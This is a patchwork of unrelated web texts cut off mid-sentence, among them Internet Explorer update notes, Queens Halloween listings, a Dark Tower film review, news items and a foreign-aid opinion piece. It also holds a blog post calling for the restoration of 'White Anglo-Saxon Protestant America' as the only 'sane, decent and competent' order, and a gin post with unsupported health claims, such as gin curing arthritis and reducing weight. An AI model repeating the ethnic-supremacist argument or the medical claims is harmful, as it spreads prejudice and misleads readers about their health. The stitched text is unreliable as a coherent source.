Yes. Systems running Internet Explorer 9, Internet Explorer 10, or Internet Explorer 11 will not be fully protected until you have installed both security update 3021952 and the updates for the vulnerability described in Security Advisory 3009008.
If you use Windows Update, Windows Server Update Services (WSUS), or Microsoft Update Catalog to install updates, security update 3021952 will install first. After your system reboots, check for updates again in Windows Update to obtain and install update 3034196.
If you download and install updates manually, you must first install security update 3021952 before installing update 3034196. Failure to install 3021952 before 3034196 can lead to degraded page rendering.
Are there additional updates I should be aware of? Yes. There are additional fixes for Internet Explorer 11 that are included as part of update 3021952.
For Internet Explorer 11 on Windows 7 Service Pack 1 and Windows Server 2008 R2 Service Pack 1:
When you install security update 3021952, update 3023607 will also be installed automatically. Update 3023607 changes Transport Layer Security (TLS) protocol renegotiation and fallback behavior.
When installation is complete, updates 3021952 and 3023607 will be listed in Installed Updates.
. If you download and install updates manually, when you click Download you will be prompted to select updates 3021952 and 3023607.
you will be prompted to select updates 3021952 and 3023607. For more information, see Microsoft Knowledge Base Article 3023607.
For Internet Explorer 11 on Windows 8.1, Windows Server 2012 R2, and |
43,000 employees. The probe by Sir Bill was launched following several investigations into allegations against officers from ethnic minorities.
grievances
Commissioned by the Metropolitan Police Authority (MPA), it examined whether ethnic minority officers were more likely to face disciplinary investigation, and whether their grievances were less likely to be dealt with than those of white colleagues.
The inquiry heard from black and Asian staff that they were disproportionately more likely to have formal complaints made against them.
The inquiry also found that the MPS has not complied with the recommendations of the Gurpal Virdi report of 2001, an embarrassment for incoming Met CommDress your dog in costume for the annual Halloween Harvest Festival at Socrates Sculpture Park this weekend. View Full Caption DNAinfo/Jeanmarie Evelly
All Weekend
► Haunted House at Queens County Farm
Where: Queens County Farm Museum, 73-50 Little Neck Parkway, Floral Park
When: Saturday from 1 to 7 p.m., Sunday from 4 to 7 p.m.
Get in the Halloween spirit by visiting this haunted barn. The event, recommended for children ages 6 to 12, will also feature hay rides, mulled cider and Halloween treats. Admission is $4 for both children and adults. The farm will also host its annual Children’s Fall Festival Sunday from 11 a.m. to 7 p.m. Tickets for that event are $20.
► Dances of the World
Where: Thalia Hispanic Theatre, 41-17 Greenpoint Ave., Sunnyside
When: Friday and Saturday at 8 p.m., Sunday at 4 p.m.
Colombian Dance Company Cali Salsa Pal' Mundo will present this show featuring dance styles from countries around the globe including salsa, tango and mamba. Tickets are $40 in advance or $45 at the door (seniors and students' tickets are $37 in advance, $42 at the door).
► Riis Park High Haunted Halloween Party
Where: Riis Point Bay 9, Neponsit
When: Saturday 9 p.m. to 1 a.m., Sunday 11 a.m. to 4 p.m.
This two-day event starts Saturday night with a DJ and dancing at The Dropout, the winter restaurant at Riis Park. Sunday brunch begins at 11 a.m. and brings face painting for kids.
Friday, Oct. 27
► Latin Fridays Fundraiser
Where: Salsa in Queens, 3427 Steinway St., Astoria
When: 9 p.m.
Take a salsa lesson, then dance the night away to a live DJ until 2 a.m. Tickets cost $20 at the door, with proceeds going to disaster relief efforts in Mexico and Puerto Rico.
Saturday, Oct. 28
► Halloween Harvest Festival
Where: Socrates Sculpture Park, 32-01 Vernon Boulevard, Astoria
When: 11 a.m. to 3 p.m.
The park will host its annual Halloween festival, which will include live music and dance, arts and crafts, face painting and a doggy costume contest.
► Hell Gate Halloween
Where: Meet under the Hell Gate Bridge, Shore and Ditmars boulevards, Astoria
When: noon
Greater Astoria Historical Society guide Richard Melnick will lead this Halloween-themed walking tour, which will include spooky stories of the waterfront's history. Participation is $20, or $10 if you show up in costume.
► Trunk or Treat
Where: Maple Grove Cemetery, Lefferts Boulevard and Kew Gardens Road, Kew Gardens
When: 2 to 4:30 p.m.
Take your kids to Maple Grove Cemetery for trick or treating and help those in need by bringing canned food for the hungry, which will be donated to local food pantries. Decorate your car and compete for the best decorated trunk prize. For more information email info@friendsofmaplegrove.org or call (347) 878-6614.
► Jellybean Benitez at Resorts World
Where: Resorts World Casino, 110-00 Rockaway Blvd., South Ozone Park
When: 9 p.m.
Enjoy all your favorite disco hits with legendary DJ Jellybean Benitez. VIP tickets are $75 and include one drink.
Sunday, Oct. 29
► Halloween at the Garden
Where: Queens Botanical Garden, 43-50 Main St., Flushing
When: Noon to 4 p.m.
Make a seasonal craft, see a magic show, dance at the costume dance party, get your face painted and walk the trick-or-treat trail. It’s free with admission (adults cost $6, students and seniors cost $4, children age 4 through 12 cost $2, children age 3 and under are free).
► Shocktoberfest
Where: Playground for All Children, 111-1 Corona Ave., Corona (Inside Flushing Meadows-Corona Park)
When: Noon to 3 p.m.
Bring your kids in costume for music, games, crafts, a pumpkin patch, goodie bags and more. Supplies are limited, so arrive early. The event is sponsored by the Flushing Meadows-Corona Park Alliance.
These listings were compiled by DNAinfo Queens reporters Ewa Kern-Jedrychowska, Katie Honan and Jeanmarie Evelly.It was obvious at a Wednesday night screening of Dark Tower, the dreamed-of-for-decades screen version of Stephen King’s hybrid epic fantasy-Western series, that critics weren’t buying it.
And granted, there was a lot not to buy. Director Nikolaj Arcel’s cinematic interpretation (“adaptation” is a tricky descriptor for a bunch of reasons) of King’s series is a wildly ambitious attempt to take a sprawling story that spans many characters and multiple universes and turn it into an urban fantasy set mainly in New York City.
Rating vox-mark vox-mark vox-mark vox-mark vox-mark
Except for King’s main character, Idris Elba’s Roland the Gunslinger — who isn’t even the main character of this movie — the other film characters are all composites of multiple characters from the book series. Except for the broadest central plot point — Roland pursues a man, played by Matthew McConaughey, who wants to destroy the Tower that keeps our universe and many others in balance — King’s ideas have been largely swept aside for a strange fusion of science fiction and Weird fiction disguised as a Young Adult fantasy.
Yet for all of this, Arcel’s film is fun, loving, scary, and often as genuinely compelling as it is wildly misguided. The Dark Tower may be a terrible, even baffling version of Stephen King’s The Dark Tower, but it’s highly enjoyable as a cinematic King fanfic. Here are four things you need to know to prepare for the journey.
1) It’s best to think of The Dark Tower as a new Stephen King story rather than one we know
For so, so many reasons, a reasonably faithful film version of all eight books of The Dark Tower was never going to happen. (Spoilers follow for the Dark Tower book series.)
Even if all of the complicated plot and character arcs and narrative side-quests and ultimate battles could have fit into the film’s remarkably slight 95-minute timeframe, the fact is that the Dark Tower book cycle is essentially unfinished. Fans don’t know what the “ending” of Roland’s quest looks like because King, intentionally, never wrote one. Instead, he revealed that the stories’ events are cyclical and have happened many times before. He also implied that the “next” time around could be the quest that finally succeeds and breaks the looping cycle.
Here end the spoilers.
In the new film, the key to that success lies with a boy named Jake (Tom Taylor), a psychic teen living in New York who’s been frenziedly drawing his constant visions of Roland, the Tower, and a mysterious Man in Black who wants to destroy it. Jake is convinced, correctly, that otherworldly beings wearing human faces are working for the Man in Black, kidnapping children from Jake’s world and using them to essentially direct psychic laser beams at the Tower. When they inevitably come for Jake, he uses the knowledge his visions have granted him to elude capture and escape through a multi-dimensional portal to Roland’s world, a vast barren wasteland.
The main elements and characters who help Roland along his journey in the book series have all been merged into Jake’s character, effectively turning Roland’s story into Jake’s story — perhaps because at heart all Stephen King stories are about boys learning to be men. Here, it is Jake who must find Roland, learn about the Tower, and ultimately stop the Man in Black from blowing it up. If that happens, Roland assures Jake, the darkness the Tower currently holds at bay — an implied nebula of strange Lovecraftian cosmic terrors — will encroach upon all of their separate worlds.
Jake teams up with a reluctant Roland to travel from the desolate outposts of Roland’s world back into the bustle of New York, where they hope to find a portal to the Man in Black’s lair in order to destroy it before it can destroy the Tower. Along the way, they battle a strange attic-destroying demon, more Lovecraftian monsters, attacks from the Man in Black’s henchman, and Roland’s own warring sense of purpose: does he want mere revenge against the Man in Black for past wrongs, or does he want to save the world?
As Jake, Tom Taylor is clear-eyed and defiant, a fine foil for Idris Elba’s world-weary gunslinger. Although the movie is never quite sure what it wants to do with Jake’s powers, and seems to have no idea whether he’s a future gunslinger or not, Taylor pulls off a small miracle, in that he doesn’t make you resent that he’s the main character of this show instead of Roland. Taylor owns his role with an endearing, wary confidence. The rapidly forming bond between Jake and Roland — one of the most crucial elements of the Dark Tower series — and Jake’s power both become believable in Taylor’s hands. If mistrustful surly teenage glares are evidence of psychic abilities, Jake could probably take over the world.
2) Idris Elba finally gets a major role in a potential blockbuster, and he’s perfect
When the role of Roland went to Idris Elba, incensed Stephen King fans complained because King’s long been on record as envisioning the Gunslinger, the last remaining member of an order of soldiers who defend Roland’s world from darkness, as a Clint Eastwood type — in other words, white. Elba proves those fans and their outrage wrong before he ever says a word. Strong and silent, his Roland is an exhausted, heartbroken loner who slowly comes alive and learns to hope again over the course of the film thanks to his encounter with Jake.
We may not see the events that have taken place over the course of the Dark Tower series in this film, but Elba’s Roland has internalized them all the same. Whenever he aims a weapon, you fully believe that he kills not with his gun but with his heart — part of the Gunslinger creed. Elba is the physical embodiment of Roland, and he’s so committed to his vague, barely explained quest that he stays the film’s most deeply compelling figure, even if he’s no longer the main protagonist. When we finally see Roland attempting to interact with random people in modern-day New York, and see how out of place he is, the comedic moments are tinged with sadness: here is a man out of time who’s truly lost everything, won’t regain it, and knows it.
Without Idris Elba, Dark Tower could easily collapse under the weight of its own nonsense. Instead, he serves as its linchpin — something the unwieldy film desperately needs. As the Man in Black, Matthew McConaughey seems alternately bored and confused by his own motivations in The Dark Tower. He mainly seems to be doing all of this — kidnapping children and forcing them to shoot psychic laser beams at a multi-dimensional fortress — in order to annoy his old friend Roland. (Their history and former relationship are never fully explained.) He also seems to be aware, as Roland isn’t, that they have done all of this many times before, giving their dynamic an uneasy imbalance.
3) The film alternates between nonsensical plot ideas and genuinely scary, fun moments that make it a true Stephen King romp
But while McConaughey’s Man in Black isn’t truly menacing so much as oozing snake oil, the glimpses we get of the monsters the Tower is keeping at bay are creepy and fun. The film’s special effects are top-notch, and a reminder that King’s entire multiverse hinges on a Weird fiction view of the horrors out there in the cosmos. That the film features a nebula of creepy monsters from the beyond may make it feel like a Stranger Things ripoff to some viewers, but don’t be misled: Arcel is in fact honoring King’s longstanding Lovecraftian tradition.
Arcel also does his best to run with the interconnectivity of King’s universe, something that links many of his books but has really never made its way into a screen adaptation until now. The Dark Tower universe essentially ties all of King’s universes together; characters from the Dark Tower appear in other books, and characters throughout his fiction move between the worlds held in place by the Tower. On film, save for one element, these multiple worlds feel superimposed: a long-ruined theme park dedicated to “Pennywise” in Roland’s world implies that It’s shapeshifting titular character once ran the joint; a portal dubbed 1408 implies that the demonic hotel room of King’s 1408 is but a jaunt away; other subtler references to Salem’s Lot, Needful Things, and The Shining occur throughout the film.
Only one element we’ve seen before in a Stephen King film makes a dent on the plot: the Shining itself. Fans of Stephen King, or of the Kubrick film, may recall that the “shine” is a rare psychic ability to read minds and sense the future. Throughout Dark Tower, Jake is informed that he “shines,” that he has “the shine,” and that this is a rare gift — so rare we’ve seen it only in a few King characters here and there over the decades. This, too, might feel superimposed on the film, but it’s a loving reflection of the ongoing interconnectedness of King’s worlds — a crucial aspect of the Dark Tower series.
4) Where Dark Tower fails, it fails in exposition. But honestly, who cares?
From the first scene, when we see a group of children being creepily herded to their psychic laser beam-launchers with absolutely no context, The Dark Tower has a rushed, middle-of-the-battle feel that it never fully loses.
But that’s not really a bad thing. In fact, that’s partly what makes the film so much fun. It foregoes lengthy exposition and backstories, and while that makes for a disjointed narrative structure, it allows for a fast-paced story told mainly through scares and monsters and plenty of gunfights and Idris Elba asking Jake if the animals in his world still speak. (It also gets an assist from a tonally perfect score from Tom Holkenborg.) There’s a basic, wondrous glee in The Dark Tower that makes it feel more like a Stephen King film than any other Stephen King film since Stand By Me.
There are probably plenty of reasons to hate The Dark Tower if you go in looking for them. But if you go in expecting a fun fantasy with heart and a few scares, you may find plenty to love as well.
After all: We do not watch Stephen King movies with our brains. We watch Stephen King movies with our hearts.Winnipeg Jets prospect Jordy Stallard has shoulder surgery; out for season
It has been a tough month for Jets prospects. At the end of January it was announced that Logan Stanley had surgery to repair a torn meniscus in his right knee and today we learn that 2016 5th rounder Jordy Stallard underwent shoulder surgery and will be done for the rest of the season. In 40 games for the Hitmen/Raiders he has 14 goals and 23 assists.
Here is party of the release from the Prince Albert Raiders:
Prince Albert Raiders centreman Jordy Stallard will be out for the remainder of the season.
The 1997-born veteran from Brandon, MB underwent shoulder surgery on Monday. Stallard suffered the injury on January 22 in Calgary against the Hitmen. He is expected to be ready for the start of training camp in August.
Stallard was acquired by the Raiders at the WHL Trade Deadline from the Hitmen. The 6’1”-centre made an immediate impact with the Raiders, picking up 10 points in eight games. He was hitting his stride before being injured, registering four goals and three assists in the last four games.
Read the full release here.For the past few months, we’ve been working with a long-time member of the GeneRally community, who has brought his expertise in the 3D/artistic realms to the table. Whilst Kimmo has only been with us for a short time, we feel he’s made a fantastic impact upon the work we’re doing – and you’ve already seen an example of his work in the last two developer blogs. So, by way of an introduction, we thought we’d give you a short “interview” with Kimmo, to find out a bit more about him and his work on the Sequel.
So, Kimmo, tell us a little bit about yourself…
“Hey everyone! I’m Kimmo, a 25 year old motor racing enthusiast from Finland. I’m currently studying game development at Tampere University of Applied Sciences. In University projects, I’m usually the guy responsible for design, programming and 3D stuff. Naturally, I’m also a gamer and I’ve spent most of my gaming time behind the wheel with GT Legends, Gran Turismo, rFactor, GeneRally, FlatOut and other similar racing games. I also occasionally play the guitar and football (or soccer if you’re from the US). I don’t have a cat.”
What made you want to get involved with the Sequel?
“GeneRally was, and still is, one of my favourite ‘small’ games and it’s also one of the games I’ve been most involved with modding-wise in the past. So when I read that a sequel was in the planning, I asked the guys if they would have any use for my 3D work, as it would be a great opportunity for me to work on a real game development project – it turned out they did, and here we are. I used to make a few tracks and a bucket-load of cars for the original game a few years back, and I bet most of you would instantly recognise my forum nickname if I said it here and now… but that would be too boring, so I’ll leave the guesswork for you guys!”
What are your primary responsibilities at the moment?
“At the moment I’m mainly responsible for updating the objects (you know, our beloved soft walls, sunk tyres and whatnot) and the original cars, but I’m also helping the guys with ideas regarding gameplay and other stuff as well. Later on, I might want to work on particles and other visual effects such as dust and water spray – we’ll see what happens.”
What can we expect from cars in the Sequel?
“Well, one of the most requested changes over the years has been an increased poly limit. For various reasons, I understand this wasn’t really possible in GeneRally, but for the Sequel we wanted to allow a greater degree of creativity. Whilst nothing is set in stone, the work we’re doing at the moment is based on a 400 poly limit, excluding wheels/tyres. Even though this is ten times the GeneRally poly limit, I know it will still provide a challenge for car designers (and it’s a lot of fun, too). Other than that, we’re working to allow car makers to design livery textures to include with their cars that will be affected by in-game player colours, instead of having to colour each poly individually – colouring 400 polies would take forever.”From Brett Stevens, another good piece advocating for the restoration of White Anglo-Saxon Protestant America. This theme is being discussed more and more of late, as I noted yesterday, and this piece links to the Alternative Right post I linked to yesterday, about Hawthorne, Lovecraft, and the Puritans.
Stevens notes the failure of the ‘post-WASP’ America and suggests a return to the WASP order of things.
Like most actual changes, as opposed to symbolic and trivial alterations to an otherwise unchanged path, this idea seems controversial or even laughable. But the facts of history speak to us: WASP America was sane, decent and competent. Post-WASP America is none of these things. If we wish to survive — do we? — the course for us is in discarding all of the post-WASP order, and resurrecting the methods that worked.”
Read the entire article at the link, if you haven’t already done so.next Image 1 of 2
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The face of the ill-fated launch of ObamaCare belongs to a Maryland woman who didn't earn a dime for her trouble and, despite being eligible, hasn't even tried to enroll in the president's signature health insurance program.
In exclusive comments to ABC News, the smiling brunette identified only as “Adriana,” who previously adorned the Affordable Care Act’s website, said cruel comments online linking her to the website's well-chronicled problems amounted to cyberbullying. A married mom from Maryland, she became known as "Glitch Girl," and several spoofs photoshopped the expression on her face to go with satirical versions of the site.
“I mean, I don’t know why people should hate me because it’s just a photo,” Adriana, who is a Colombian national applying for citizenship, told ABC News. “I didn’t design the website. I didn’t make it fail, so I don’t think they should have any reasons to hate me.
“They have nothing else to do but hide behind the computer,” Adriana said. “They’re cyberbullying … I’m here to stand up for myself and defend myself and let people know the truth.”
When Healthcare.gov launched on Oct. 1, offering Americans health insurance via federally-operated exchanges, it was Adriana’s smiling face that greeted visitors of the website. Her identity instantly became the target of reporters nationwide, particularly after White House officials refused to divulge her name. And as frustration with the maligned website mounted, she was quickly mocked online as “Glitch Girl” and became fodder for late-night comedians.
Adriana’s saga began when she emailed a contact at the Center for Medicare and Medicaid Services — the agency responsible for the rollout of the Affordable Care Act — about having photographs of her and her relatives taken in exchange for allowing the photos to be used to market the new health care law. She was not paid, ABC News reports.
Adriana, who has lived in the United States for more than six years, is currently a permanent resident applying for citizenship. She lives in Maryland with her 21-month-old son and husband of more than six years. Both her husband and son are U.S. citizens, she told ABC News.
But despite being eligible for health insurance via the Affordable Care Act, Adriana said she has not signed up for it and is neither in favor of it nor against it. Nevertheless, she was stunned by the vitriolic reaction prompted by her smiling face.
“Like I said, it was shocking. It was upsetting. It was sad. We were having a hard day when we read all this,” she continued. “And in a way, I’m glad that my son is not old enough to understand because whatever happens to you, it hurts them, too.”
Adriana said she was relieved when her photo was removed from the website roughly two weeks ago.
“I wanted the picture down, and they wanted the picture down,” she said. “I don’t think anybody wanted to focus on the picture.”
The photograph was removed because “Healthcare.gov is a dynamic website,” a Department of Health and Human Services told ABC News.
"The individuals in the images that we used for the launch of the website redesign in June and through the beginning of open enrollment signed standard releases and understood how their images would be used," the spokesperson said. "We transitioned to new graphics because we believe they provide a better way to visually reinforce key information to users about options for applying at this point in time."
Despite being targeted online, Adriana said she has been able to move past the initial controversy.
“They didn’t ruin my life. I still have a job. I’m still married,” she said. “That didn’t really crush me to the ground. I’m fine. Now I laugh about it.”
SEND TIPS TO NEWSMANAGER@FOXNEWS.COM“Love is like a bottle of gin, flavorful, surprising, complicated yet sweet and straight.”
This is my favourite spirit, after Rum, of course! So I decided to tell you why you should drink Gin.
Consumption of Gin in the city is very less. Not many people have explored into the world of Gin. This could be the drink that has been introduced into our culture by the westerners; however, I would say that this is one of the best things they got to our lands. The consumption of Gin in our country is less than 1% of the total spirit consumption. But again, I drink Gin because I like it.
But did you know the below facts of Gin?
1) Gin may be a European drink, but did you know that the favourite mixer of Tonic Water was invented in India? Tonic is made with Quinine, herbal in nature and is a medicine to fight malaria and yellow fever.
2) Gin is made of Juniper berries and they are medicinal in nature. Juniper berries help fight Kidney and Liver infections and help in water retention in the body.
3) Want to reduce weight? Drink Gin. The presence of Lime, Cinnamon and coriander seeds in gin helps fight obesity. Yes! Drink in moderation. No one becomes like Dhanush (South Indian Actor) in a day.
4) Gin keeps your bones healthy. They help fight arthritis. Soak raisins in Gin for a few days and drink the gin, preferably as it is. It is a good medicine.
5) The herbal nature of Gin helps fight cholesterol and other cardio vascular diseases.
6) Gin and Tonic is a good coolant. It helps you enjoy your spicy food better and complements the Indian meal, much more than what a beer could do.
7) Gin is Diuretic in nature and helps prevent bloating in women.
Gin is a drink full of surprises. It does not hit you hard like any other spirit. It is a party drink and I would opt for it anytime. Though Gin cocktails are less in the offerings at bars and pubs in the city, little less do many know that Gin is the base for 3 classic cocktails of the 6 IBA approved classics. Gin is in Martini, Gimlet and Tom Collins.
Variants of Martinis are Vodkatinis and their endless flavors.
Variants of Gimlet are your classic Daiquiris’ and their endless flavors. I would even put in a Margarita in this list, although it has triple sec.
Variants of Tom Collins- Oh! Endless list of cocktails with Lime and Soda as a mixer
Gin is available in plenty of brands in the city. Bombay Sapphire, Beafeater, Gordons, Tanqueray and Hendricks are some of the millions. Domestic Gin preference would be Blue Riband. They are all available at your favourite liquor boutique near your residence.
What are you going to drink tonight? Interested in joining me for a conversation on Gin?Economic mobility has fallen, study says
Going from poor to rich — or at least climbing out of poverty — has become much more difficult in the last three decades, according to a Wells Fargo analysis.
"Those at the lower end of the income distribution are currently stuck between a rock and a hard place," the study said. "They do not have the economic mobility to improve their finances in the labor market, and government assistance helping them get by is now drying up."
The drop in economic mobility, combined with recently declining government aid to the poor, has left many Americans with no way to dig themselves out of poverty.
The ability to go from poor to rich — or at least to climb out of poverty — has become much harder to do in the last three decades, according to an analysis by Wells Fargo Securities. The percentage of low-income people who moved up the economic ladder slowed sharply from 1980 to 2009, compared with the previous dozen years, the study found.
The reality, according to a recent study, is far less rosy.
There's nothing more American than going from rags to riches. Or so the image goes.
The picture was brighter for the middle class, whose ability for upward mobility improved notably from 1980 to 2009. The highest-earning people in the study — those in the top quintile — had average annual income of $140,000. For the top 1%, it was $644,000. And the top 0.1% earned an average $1.1 million a year.
Despite several recessions and bear markets, the middle class benefited from superior education, which led to higher-paying jobs, and from profit built up over many years in the stock market, said John Silvia, Wells Fargo's chief economist, who co-wrote the report with two colleagues.
The study was limited. It tracked only about 500 households, in part because of the lack of reliable data on specific households over extended periods of time. But Wells Fargo economists believe the sampling is representative of the broad population.
The study was prompted by the intense national debate over income inequality that in part spawned the Occupy Wall Street movement, with critics saying wealth is increasingly concentrated in the hands of the richest Americans to the detriment of everyone else. A report by the Congressional Budget Office in October said after-tax income for the top 1% of U.S. households ballooned 275% from 1979 to 2007. The gain for the bottom one-fifth was 18%.
The Wells Fargo economists posited that rising income inequality is "not necessarily problematic" if it's accompanied by economic mobility — in other words, if people can improve their financial lot through diligence and hard work.
What the study found, however, is that low-income people are having a tough time.
The study compared economic mobility in two periods: 1968 to 1980 versus 1980 to 2009.
Economic mobility for the bottom one-fifth of wage-earners was relatively strong in the first period. They earned a cumulative 4.7% of the group's total income in 1968. By 1980, their share of income more than doubled to 11.2%. In other words, many people in the bottom income rung in 1968 appeared to successfully move up the economic ladder by 1980.
That dynamic did not hold in the second period.
In 1980, the bottom fifth of wage-earners made up 5.2% of total U.S. income. By 2009, however, their share of total income had risen to only 6.1% — meaning most people made little financial headway. The middle class, by comparison, saw their income share rise to 26.1% by 2009 from 18.2% in 1980.
"There's still a lot of mobility for people who grew up in average-earning families to move up into higher income brackets if they work hard and go to college and study and all of that," said Joe Seydl, a Wells Fargo economic analyst. "But it is alarming that people who are born into poverty may stay in poverty."Final Fantasy 15 is coming to PC next year, which means, I assume, it'll launch with the incoming 'Comrades' multiplayer expansion in tow. Esteemed series composer Nobuo Uematsu has composed a song for the latter, and is pretty chuffed with how it's turned out.
Named 'Choosing Hope' the gospel-inspired track includes vocals from Japanese singer Emiko Suzuki and is typically whimsical. Here's a behind-the-scenes video, featuring Uematsu and Suzuki (if you don't speak Japanese, be sure to turn on subtitles):
"I've attended a number of recording sessions over the years," says Uematsu above, "but this was honestly the first time I had to fight back tears while listening in. I hope everyone else is as moved by the song as I was."
Elsewhere, Suzuki suggests the song "goes beyond the realm of gaming", while Uematsu goes as far to say he "feels like this could usher in a new era" of videogame RPG music. He adds: "I have a feeling this piece will serve as an impetus and a source of inspiration for a lot of people."
Due tomorrow on consoles, Final Fantasy 15's Comrades multiplayer expansion lets players assume control of the base game's subordinate characters. I went hands-on with the PC iteration of FF 15 at Gamescom earlier this year—and chatted with game director Hajime Tabata about the process of porting from consoles.
Final Fantasy 15 is due on PC at some point in the first half of 2018.Ten great myths about foreign aid: After Cameron described critics as 'hard-hearted', how your money is squandered
As he pledged to pour hundreds of millions more into propping up Afghanistan, David Cameron this week accused critics of his foreign aid policy of being ‘possibly hard-hearted’. The fact is we’ll soon be spending more on the Third World than on the Home Office and, while other budgets face cuts, overseas aid is being increased by billions. Here, IAN BIRRELL reveals what really happens to all that money...
Aid mission: Prime Minister David Cameron holds a baby as he visits Darfur in Sudan
MYTH 1: We can afford to spend a few billion pounds to help the world’s poor
Defenders of aid say we have a moral duty to help those less fortunate and we are a rich country that can afford it. This argument is put forward by ministers and supporters such as the heiress Jemima Khan, who claims Britain is wealthy enough to spend such trifling sums on aid.
Here are the facts. When Tony Blair established the Department for International Development (DFID) as the political wing of the charity movement in 1997, its budget was £2.6 billion — more than twice the Foreign Office allocation.
Today, we spend £8.1 billion, which will increase to £11.4 billion in 2014 — a 34 per cent rise, despite spending cuts elsewhere.
Unsurprisingly, MPs are getting a growing postbag over this. We are giving more than £300 per household to the world’s poor while public sector jobs are lost and vital services for the elderly and disabled are closed. The head of the Royal Navy has warned there may not be enough money to pursue the war in Libya.
Four out of five voters oppose the cross-party consensus of increasing aid spending, according to a new YouGov@Cam survey. I share the ideals behind foreign aid — and, if it worked, I would say spend more. Unfortunately, the policy is based on old-fashioned concepts, outdated figures and all too often makes life worse, not better, for people in poorer nations.
MYTH 2: We must hit the UN target to give away 0.7 per cent of our GNP in aid
Ah yes, the sacred target. For a government promising to sweep away targets, the Coalition is strangely wedded to this particular one.
We’re handing over 0.56 per cent of national income — far more than our economic rivals. Germany contributes 0.38 per cent of its income, while we donate twice as much as Japan and five times as much as Italy.
But this target is absurd, arbitrary and outdated. It was first calculated more than four decades ago based on theoretical data from the Forties, and was the result of back-of-the-envelope calculations of the needs of poor countries.
Since then, Western economies have soared while many poor nations have stagnated.
Five years ago, the United Nations itself said the amount of aid really needed was 0.44 per cent of national income.
Development economists applying the original calculations to today’s world yielded an aid goal of just 0.01 per cent of rich countries’ gross domestic product (GNP).
Young Iraqi men struggle to get boxes with food: Today Britain spends £8.1 billion on aid, which will increase to £11.4 billion in 2014 - a 34 per cent rise, despite spending cuts elsewhere
MYTH 3: Aid works
The economist Peter Bauer famously said aid transfers cash from poor people in rich countries to rich people in poor countries. His words have been underlined by scores of studies that found idealism tempered by harsh reality.
Zambian economist Dambisa Moyo revealed the West had given more than half a trillion pounds to Africa, but over the past three decades the most aid-dependent recipients saw negative annual growth rates.
Haiti is another example. It was given official aid of more than £6 billion — four times as much per person as Europe received under the Marshall plan for post-war reconstruction — in the 50 years before last year’s earthquake.
Private aid poured in as well, with more charities operating in Haiti per capita than any other place on the globe. Despite this, income fell by a third.
It has, of course, endured despotic leaders, dreadful corruption and political unrest.
The same goes for the Dominican Republic, with which it shares an island — but while receiving far less aid, this nation saw incomes and life expectancy soar over this period.
MYTH 4: OK, it hasn’t worked in the past, but it will in the future
Whenever people point out that mountains of money have disappeared into thin air, the aid lobby says it has learned the lessons of the past.
So yes, cash funded dictators, fuelled corruption, fostered a dependency culture and aided genocidal killers, but things are different now. The new buzzword is ‘smart aid’.
To be fair to Andrew Mitchell, the international development secretary, he has stopped some of Labour’s most outrageous abuses, such as £115,000 spent on stalls at summer music festivals in Britain, and he is right to boost transparency and encourage trade. But the flawed fundamentals remain the same.
And his department’s top civil servant admitted this week the Government still has no idea how much money is being lost to fraud and corruption.
Marines unload aid in Haiti: The country was given £6 billion - four times as much per person as Europe received under the Marshall plan for post-war reconstruction - in the 50 years before last year's earthquake
MYTH 5: We will ensure 100 pence of value for every £1 spent on aid
This was the message Mr Mitchell gave a sceptical Tory Party conference last year, which he repeated to an |
is naturally intermittent–sometimes the sun doesn’t shine and the wind doesn’t blow–and also diffuse–alternative technologies take up a lot of space to produce not very much power.
Difficult choices lie ahead over energy and, some fear, wars will be fought in coming decades over access to energy resources, especially as the vast populations of countries such China and India increase in prosperity and demand more energy. Anywhere that oil is produced or transported–the Strait of Hormuz, the South China Sea, the Caspian Sea, the Arctic–could be a flashpoint. Supporting fusion is like backing a long shot: it may not come through, but if it does it will pay back handsomely. No one is promising that fusion energy will be cheap; reactors are expensive things to build and operate. But in a fusion-powered world geopolitics would no longer be dominated by the oil industry, so no more oil embargoes, no wild swings in the price of crude and no more worrying that Russia will turn off the tap on its gas pipelines.
16 August 2011 by David Hambling, newscientist.com
The deuterium-tritium fusion only kicks in at temperatures above 150 million degrees Celcius — 25,00 times hotter than the surface of the sun. Not only does reaching such temperatures require a lot of energy, but no known material can withstand them once they have been achieved. The ultra-hot, ultra-dense plasma at the heart of a fusion reactor must instead be kept well away from the walls of its container using magnetic fields. Following a trick devised in the Soviet Union in the 1950s, the plasma is generated inside a doughnut or torus-shaped vessel, where encircling magnetic fields keep the plasma spiraling clear of the walls – a configuration known as a tokamak. This confinement is not perfect: the plasma has a tendency to expand, cool and leak out, limiting the time during which fusion can occur. The bigger the tokamak, the better the chance of extracting a meaningful amount of energy, since larger magnetic fields hold the plasma at a greater distance, meaning a longer confinement time.
Break-even is the dream ITER was conceived to realize.
With a huge confinement volume, it should contain a plasma for several minutes, ultimately producing 10 times as much power as is put in. But this long confinement time brings its own challenges. An elaborate system of gutters is needed to extract from the plasma the helium produced in the reaction, along with other impurities. The neutrons emitted, which are chargeless and so not contained by magnetic fields, bombard the inside wall of the torus, making it radioactive and meaning it must be regularly replaced. These neutrons are also needed to breed the tritium that sustains the reaction, so the walls must be designed in such a way that the neutrons can be captured on lithium to make tritium. The details of how to do this are still being worked out.
The success of the project is by no means guaranteed
“We know we can produce plasmas with all the right elements, but when you are operating on this scale there are uncertainties,” says David Campbell, a senior ITER scientist. Extrapolations from the performance of predecessors suggest a range of possible outcomes, he says. The most likely is that ITER will work as planned, delivering 10 times break-even energy. Yet there is a chance it might work better – or produce too little energy to be useful for commercial fusion.
Richard Wolfson, in “Nuclear Choices: A Citizen’s Guide to Nuclear Technology”:
“In the long run, fusion itself could bring on the ultimate climactic crisis. The energy released in fusion would not otherwise be available on Earth; it would represent a new input to the global energy flow. Like all the rest of the global energy, fusion energy would ultimately become heat that Earth would have to radiate into space. As long as humanity kept its energy consumption a tiny fraction of the global energy flow, there would be no major problem. But history shows that human energy consumption grows rapidly when it is not limited by shortages of fuel. Fusion fuel would be unlimited, so our species might expand its energy consumption to the point where the output of our fusion reactors became significant relative to the global input of solar energy. At that point Earth’s temperature would inevitably rise. This long-term criticism of fusion holds for any energy source that could add to Earth’s energy flow even a few percent of what the Sun provides. Only solar energy itself escapes this criticism”. page 274
Robert L. Hirsch, author of the Department of Energy 2005 Peak Oil study, in his book “The Impending World Energy Mess”:
“Fusion has been in the research stage since the 1950s….Fusion happens when fuels are heated to hundreds of millions of degrees long enough for more energy to be released than was used to create the heat. Containment of fusion fuels on the sun is by gravity. Since gravity is not usable for fusion on earth, researchers have used magnetic fields, electrostatic fields, and inertia to provide containment. Thus far, no magnetic or electrostatic fusion concept has demonstrated success.” Hirsch thinks this will never work out and it’s been a waste of tens of billions of dollars.
